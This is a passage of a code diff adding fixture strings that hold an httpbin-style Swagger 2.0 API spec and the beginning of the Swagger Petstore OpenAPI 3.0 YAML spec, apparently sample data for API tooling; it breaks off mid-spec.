+            "description": "Defalte-encoded data."
+          }
+        },
+        "summary": "Returns Deflate-encoded data.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/delay/{delay}": {
+      "delete": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "description": "Number of seconds to wait before sending the response.",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      },
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      },
+      "patch": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      },
+      "post": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      },
+      "put": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      },
+      "trace": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "delay",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A delayed response."
+          }
+        },
+        "summary": "Returns a delayed response (max of 10 seconds).",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/delete": {
+      "delete": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's DELETE parameters."
+          }
+        },
+        "summary": "The request's DELETE parameters.",
+        "tags": [
+          "HTTP Methods"
+        ]
+      }
+    },
+    "/deny": {
+      "get": {
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "200": {
+            "description": "Denied message"
+          }
+        },
+        "summary": "Returns page denied by robots.txt rules.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/digest-auth/{qop}/{user}/{passwd}": {
+      "get": {
+        "parameters": [
+          {
+            "description": "auth or auth-int",
+            "in": "path",
+            "name": "qop",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "user",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "passwd",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "401": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using Digest Auth.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/digest-auth/{qop}/{user}/{passwd}/{algorithm}": {
+      "get": {
+        "parameters": [
+          {
+            "description": "auth or auth-int",
+            "in": "path",
+            "name": "qop",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "user",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "passwd",
+            "type": "string",
+            "required": true
+          },
+          {
+            "default": "MD5",
+            "description": "MD5, SHA-256, SHA-512",
+            "in": "path",
+            "name": "algorithm",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "401": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using Digest Auth + Algorithm.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/digest-auth/{qop}/{user}/{passwd}/{algorithm}/{stale_after}": {
+      "get": {
+        "description": "allow settings the stale_after argument.\n",
+        "parameters": [
+          {
+            "description": "auth or auth-int",
+            "in": "path",
+            "name": "qop",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "user",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "passwd",
+            "type": "string",
+            "required": true
+          },
+          {
+            "default": "MD5",
+            "description": "MD5, SHA-256, SHA-512",
+            "in": "path",
+            "name": "algorithm",
+            "type": "string",
+            "required": true
+          },
+          {
+            "default": "never",
+            "in": "path",
+            "name": "stale_after",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "401": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using Digest Auth + Algorithm.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/drip": {
+      "get": {
+        "parameters": [
+          {
+            "default": 2,
+            "description": "The amount of time (in seconds) over which to drip each byte",
+            "in": "query",
+            "name": "duration",
+            "required": false,
+            "type": "number"
+          },
+          {
+            "default": 10,
+            "description": "The number of bytes to respond with",
+            "in": "query",
+            "name": "numbytes",
+            "required": false,
+            "type": "integer"
+          },
+          {
+            "default": 200,
+            "description": "The response code that will be returned",
+            "in": "query",
+            "name": "code",
+            "required": false,
+            "type": "integer"
+          },
+          {
+            "default": 2,
+            "description": "The amount of time (in seconds) to delay before responding",
+            "in": "query",
+            "name": "delay",
+            "required": false,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "application/octet-stream"
+        ],
+        "responses": {
+          "200": {
+            "description": "A dripped response."
+          }
+        },
+        "summary": "Drips data over a duration after an optional initial delay.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/encoding/utf8": {
+      "get": {
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "200": {
+            "description": "Encoded UTF-8 content."
+          }
+        },
+        "summary": "Returns a UTF-8 encoded body.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/etag/{etag}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "header",
+            "name": "If-None-Match",
+            "type": "string"
+          },
+          {
+            "in": "header",
+            "name": "If-Match",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Normal response"
+          },
+          "412": {
+            "description": "match"
+          }
+        },
+        "summary": "Assumes the resource has the given etag and responds to If-None-Match and If-Match headers appropriately.",
+        "tags": [
+          "Response inspection"
+        ]
+      }
+    },
+    "/get": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's query parameters."
+          }
+        },
+        "summary": "The request's query parameters.",
+        "tags": [
+          "HTTP Methods"
+        ]
+      }
+    },
+    "/gzip": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "GZip-encoded data."
+          }
+        },
+        "summary": "Returns GZip-encoded data.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/headers": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's headers."
+          }
+        },
+        "summary": "Return the incoming request's HTTP headers.",
+        "tags": [
+          "Request inspection"
+        ]
+      }
+    },
+    "/hidden-basic-auth/{user}/{passwd}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "user",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "passwd",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "404": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using HTTP Basic Auth.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/html": {
+      "get": {
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "200": {
+            "description": "An HTML page."
+          }
+        },
+        "summary": "Returns a simple HTML document.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/image": {
+      "get": {
+        "produces": [
+          "image/webp",
+          "image/svg+xml",
+          "image/jpeg",
+          "image/png",
+          "image/*"
+        ],
+        "responses": {
+          "200": {
+            "description": "An image."
+          }
+        },
+        "summary": "Returns a simple image of the type suggest by the Accept header.",
+        "tags": [
+          "Images"
+        ]
+      }
+    },
+    "/image/jpeg": {
+      "get": {
+        "produces": [
+          "image/jpeg"
+        ],
+        "responses": {
+          "200": {
+            "description": "A JPEG image."
+          }
+        },
+        "summary": "Returns a simple JPEG image.",
+        "tags": [
+          "Images"
+        ]
+      }
+    },
+    "/image/png": {
+      "get": {
+        "produces": [
+          "image/png"
+        ],
+        "responses": {
+          "200": {
+            "description": "A PNG image."
+          }
+        },
+        "summary": "Returns a simple PNG image.",
+        "tags": [
+          "Images"
+        ]
+      }
+    },
+    "/image/svg": {
+      "get": {
+        "produces": [
+          "image/svg+xml"
+        ],
+        "responses": {
+          "200": {
+            "description": "An SVG image."
+          }
+        },
+        "summary": "Returns a simple SVG image.",
+        "tags": [
+          "Images"
+        ]
+      }
+    },
+    "/image/webp": {
+      "get": {
+        "produces": [
+          "image/webp"
+        ],
+        "responses": {
+          "200": {
+            "description": "A WEBP image."
+          }
+        },
+        "summary": "Returns a simple WEBP image.",
+        "tags": [
+          "Images"
+        ]
+      }
+    },
+    "/ip": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The Requester's IP Address."
+          }
+        },
+        "summary": "Returns the requester's IP Address.",
+        "tags": [
+          "Request inspection"
+        ]
+      }
+    },
+    "/json": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "An JSON document."
+          }
+        },
+        "summary": "Returns a simple JSON document.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/links/{n}/{offset}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "offset",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "200": {
+            "description": "HTML links."
+          }
+        },
+        "summary": "Generate a page containing n links to other pages which do the same.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/patch": {
+      "patch": {
+        "parameters": [
+          {
+            "in": "body",
+            "schema": {
+              "type": "object"
+            },
+            "name": "body"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's PATCH parameters."
+          }
+        },
+        "summary": "The request's PATCH parameters.",
+        "tags": [
+          "HTTP Methods"
+        ]
+      }
+    },
+    "/post": {
+      "post": {
+        "parameters": [
+          {
+            "in": "body",
+            "schema": {
+              "type": "object"
+            },
+            "name": "body"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's POST parameters."
+          }
+        },
+        "summary": "The request's POST parameters.",
+        "tags": [
+          "HTTP Methods"
+        ]
+      }
+    },
+    "/put": {
+      "put": {
+        "parameters": [
+          {
+            "in": "body",
+            "schema": {
+              "type": "object"
+            },
+            "name": "body"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's PUT parameters."
+          }
+        },
+        "summary": "The request's PUT parameters.",
+        "tags": [
+          "HTTP Methods"
+        ]
+      }
+    },
+    "/range/{numbytes}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "numbytes",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/octet-stream"
+        ],
+        "responses": {
+          "200": {
+            "description": "Bytes."
+          }
+        },
+        "summary": "Streams n random bytes generated with given seed, at given chunk size per packet.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/redirect-to": {
+      "delete": {
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      },
+      "get": {
+        "parameters": [
+          {
+            "in": "query",
+            "name": "url",
+            "required": true,
+            "type": "string"
+          },
+          {
+            "in": "query",
+            "name": "status_code",
+            "type": "integer"
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      },
+      "patch": {
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      },
+      "post": {
+        "parameters": [
+          {
+            "in": "formData",
+            "name": "url",
+            "required": true,
+            "type": "string"
+          },
+          {
+            "in": "formData",
+            "name": "status_code",
+            "required": false,
+            "type": "integer"
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      },
+      "put": {
+        "parameters": [
+          {
+            "in": "formData",
+            "name": "url",
+            "required": true,
+            "type": "string"
+          },
+          {
+            "in": "formData",
+            "name": "status_code",
+            "required": false,
+            "type": "integer"
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      },
+      "trace": {
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302/3XX Redirects to the given URL.",
+        "tags": [
+          "Redirects"
+        ]
+      }
+    },
+    "/redirect/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "302 Redirects n times.",
+        "tags": [
+          "Redirects"
+        ]
+      }
+    },
+    "/relative-redirect/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "Relatively 302 Redirects n times.",
+        "tags": [
+          "Redirects"
+        ]
+      }
+    },
+    "/response-headers": {
+      "get": {
+        "parameters": [
+          {
+            "in": "query",
+            "name": "freeform",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Response headers"
+          }
+        },
+        "summary": "Returns a set of response headers from the query string.",
+        "tags": [
+          "Response inspection"
+        ]
+      },
+      "post": {
+        "parameters": [
+          {
+            "in": "query",
+            "name": "freeform",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Response headers"
+          }
+        },
+        "summary": "Returns a set of response headers from the query string.",
+        "tags": [
+          "Response inspection"
+        ]
+      }
+    },
+    "/robots.txt": {
+      "get": {
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "200": {
+            "description": "Robots file"
+          }
+        },
+        "summary": "Returns some robots.txt rules.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/status/{codes}": {
+      "delete": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      },
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      },
+      "patch": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      },
+      "post": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      },
+      "put": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      },
+      "trace": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "codes",
+            "required": true,
+            "type": "number"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "100": {
+            "description": "Informational responses"
+          },
+          "200": {
+            "description": "Success"
+          },
+          "300": {
+            "description": "Redirection"
+          },
+          "400": {
+            "description": "Client Errors"
+          },
+          "500": {
+            "description": "Server Errors"
+          }
+        },
+        "summary": "Return status code or random status code if more than one are given",
+        "tags": [
+          "Status codes"
+        ]
+      }
+    },
+    "/stream-bytes/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/octet-stream"
+        ],
+        "responses": {
+          "200": {
+            "description": "Bytes."
+          }
+        },
+        "summary": "Streams n random bytes generated with given seed, at given chunk size per packet.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/stream/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Streamed JSON responses."
+          }
+        },
+        "summary": "Stream n JSON responses",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/user-agent": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "The request's User-Agent header."
+          }
+        },
+        "summary": "Return the incoming requests's User-Agent header.",
+        "tags": [
+          "Request inspection"
+        ]
+      }
+    },
+    "/uuid": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "A UUID4."
+          }
+        },
+        "summary": "Return a UUID4.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/xml": {
+      "get": {
+        "produces": [
+          "application/xml"
+        ],
+        "responses": {
+          "200": {
+            "description": "An XML document."
+          }
+        },
+        "summary": "Returns a simple XML document.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    }
+  },
+  "tags": [
+    {
+      "description": "Testing different HTTP verbs",
+      "name": "HTTP Methods"
+    },
+    {
+      "description": "Auth methods",
+      "name": "Auth"
+    },
+    {
+      "description": "Generates responses with given status code",
+      "name": "Status codes"
+    },
+    {
+      "description": "Inspect the request data",
+      "name": "Request inspection"
+    },
+    {
+      "description": "Inspect the response data like caching and headers",
+      "name": "Response inspection"
+    },
+    {
+      "description": "Returns responses in different data formats",
+      "name": "Response formats"
+    },
+    {
+      "description": "Generates random and dynamic data",
+      "name": "Dynamic data"
+    },
+    {
+      "description": "Creates, reads and deletes Cookies",
+      "name": "Cookies"
+    },
+    {
+      "description": "Returns different image formats",
+      "name": "Images"
+    },
+    {
+      "description": "Returns different redirect responses",
+      "name": "Redirects"
+    },
+    {
+      "description": "Returns anything that is passed to request",
+      "name": "Anything"
+    }
+  ]
+}
+`;
+
+export const Oas30Yaml = `
+openapi: 3.0.2
+servers:
+  - url: /v3
+info:
+  description: |-
+    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about
+    Swagger at [http://swagger.io](http://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!
+    You can now help us improve the API whether it's by making changes to the definition itself or to the code.
+    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.
+
+    Some useful links:
+    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)
+    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)
+  version: 1.0.6-SNAPSHOT
+  title: Swagger Petstore - OpenAPI 3.0
+  termsOfService: 'http://swagger.io/terms/'
+  contact:
+    email: apiteam@swagger.io
+    name: Swagger IO
+    url: swagger.io
+  license:
+    name: Apache 2.0
+    url: 'http://www.apache.org/licenses/LICENSE-2.0.html'
+tags:
+  - name: pet
+    description: Everything about your Pets
+    externalDocs:
+      description: Find out more
+      url: 'http://swagger.io'
+  - name: store
+    description: Operations about user
+  - name: user
+    description: Access to Petstore orders
+    externalDocs:
+      description: Find out more about our store
+      url: 'http://swagger.io'
+paths:
+  /pet:
+    post:
+      tags:
+        - pet
+      summary: Add a new pet to the store
+      description: Add a new pet to the store
+      operationId: addPet
+      deprecated: true
+      responses:
+        '200':
+          description: Successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/Pet'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Pet'
+        '405':
+          description: Invalid input
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+      requestBody:
+        description: Create a new pet in the store
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Pet'
+          application/xml:
+            schema:
+              $ref: '#/components/schemas/Pet'
+          application/x-www-form-urlencoded:
+            schema:
+              $ref: '#/components/schemas/Pet'
+    put:
+      tags:
+        - pet
+      summary: Update an existing pet
+      description: Update an existing pet by Id
+      operationId: updatePet
+      responses:
+        '200':
+          description: Successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/Pet'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Pet'
+        '400':
+          description: Invalid ID supplied
+        '404':
+          description: Pet not found
+        '405':
+          description: Validation exception
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+      requestBody:
+        description: Update an existent pet in the store
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Pet'
+          application/xml:
+            schema:
+              $ref: '#/components/schemas/Pet'
+          application/x-www-form-urlencoded:
+            schema:
+              $ref: '#/components/schemas/Pet'
+  /pet/findByStatus:
+    get:
+      tags:
+        - pet
+      summary: Finds Pets by status
+      description: Multiple status values can be provided with comma separated strings
+      operationId: findPetsByStatus
+      parameters:
+        - name: status
+          in: query
+          description: Status values that need to be considered for filter
+          required: false
+          explode: true
+          example: pending
+          schema:
+            type: string
+            enum:
+              - available
+              - pending
+              - sold
+            default: available
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/xml:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Pet'
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Pet'
+        '400':
+          description: Invalid status value
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+  /pet/findByTags:
+    get:
+      tags:
+        - pet
+      summary: Finds Pets by tags
+      description: >-
+        Multiple tags can be provided with comma separated strings. Use tag1,
+        tag2, tag3 for testing.
+      operationId: findPetsByTags
+      parameters:
+        - name: tags
+          in: query
+          description: Tags to filter by
+          required: false
+          explode: true
+          schema:
+            type: array
+            items:
+              type: string
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/xml:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Pet'
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Pet'
+        '400':
+          description: Invalid tag value
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+  '/pet/{petId}':
+    get:
+      tags:
+        - pet
+      summary: Find pet by ID
+      description: Returns a single pet
+      operationId: getPetById
+      parameters:
+        - name: petId
+          in: path
+          description: ID of pet to return
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/Pet'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Pet'
+        '400':
+          description: Invalid ID supplied
+        '404':
+          description: Pet not found
+      security:
+        - api_key: []
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+    post:
+      tags:
+        - pet
+      summary: Updates a pet in the store with form data
+      description: ''
+      operationId: updatePetWithForm
+      parameters:
+        - name: petId
+          in: path
+          description: ID of pet that needs to be updated
+          required: true
+          schema:
+            type: integer
+            format: int64
+        - name: name
+          in: query
+          description: Name of pet that needs to be updated
+          deprecated: true
+          explode: true
+          allowEmptyValue: true
+          allowReserved: true
+          required: false
+          style: form
+          example: "A name"
+          schema:
+            type: string
+        - name: status
+          in: query
+          description: Status of pet that needs to be updated
+          schema:
+            type: string
+        - name: debug
+          in: cookie
+          description: Whether to debug the response
+          schema:
+            type: number
+        - in: query
+          name: filter
+          content:
+            application/json:
+              schema:
+                type: object
+                properties:
+                  type:
+                    type: string
+                  color:
+                    type: string
+      responses:
+        '405':
+          description: Invalid input
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+    delete:
+      tags:
+        - pet
+      summary: Deletes a pet
+      description: ''
+      operationId: deletePet
+      parameters:
+        - name: api_key
+          in: header
+          description: ''
+          required: false
+          schema:
+            type: string
+        - name: petId
+          in: path
+          description: Pet id to delete
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        '400':
+          description: Invalid pet value
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+  '/pet/{petId}/uploadImage':
+    post:
+      tags:
+        - pet
+      summary: uploads an image
+      description: ''
+      operationId: uploadFile
+      parameters:
+        - name: petId
+          in: path
+          description: ID of pet to update
+          required: true
+          schema:
+            type: integer
+            format: int64
+        - name: additionalMetadata
+          in: query
+          description: Additional Metadata
+          required: false
+          schema:
+            type: string
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/ApiResponse'
+      security:
+        - petstore_auth:
+            - 'write:pets'
+            - 'read:pets'
+      requestBody:
+        content:
+          application/octet-stream:
+            schema:
+              type: string
+              format: binary
+  /pet/listDogs:
+    get:
+      tags:
+        - pet
+      summary: List dogs only
+      description: An endpoint to list pets that are dogs.
+      operationId: listDogs
+      responses:
+        '200':
+          description: |
+            A response that returns a paginated object listing all dogs in the store.
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Dog'
+  /pet/listCommon:
+    get:
+      tags:
+        - pet
+      summary: List common
+      description: An endpoint to list dogs, cats, and lizards.
+      operationId: listCommon
+      responses:
+        '200':
+          description: |
+            A response that returns a paginated object listing all common pets in the store.
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  anyOf:
+                    - $ref: '#/components/schemas/Dog'
+                    - $ref: '#/components/schemas/Cat'
+                    - $ref: '#/components/schemas/Lizard'
+              
+  /store/inventory:
+    get:
+      tags:
+        - store
+      summary: Returns pet inventories by status
+      description: Returns a map of status codes to quantities
+      operationId: getInventory
+      x-swagger-router-controller: OrderController
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/json:
+              schema:
+                type: object
+                additionalProperties:
+                  type: integer
+                  format: int32
+      security:
+        - api_key: []
+  /store/order:
+    post:
+      tags:
+        - store
+      summary: Place an order for a pet
+      description: Place a new order in the store
+      operationId: placeOrder
+      x-swagger-router-controller: OrderController
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Order'
+        '405':
+          description: Invalid input
+      requestBody:
+        content:
+          application/json:
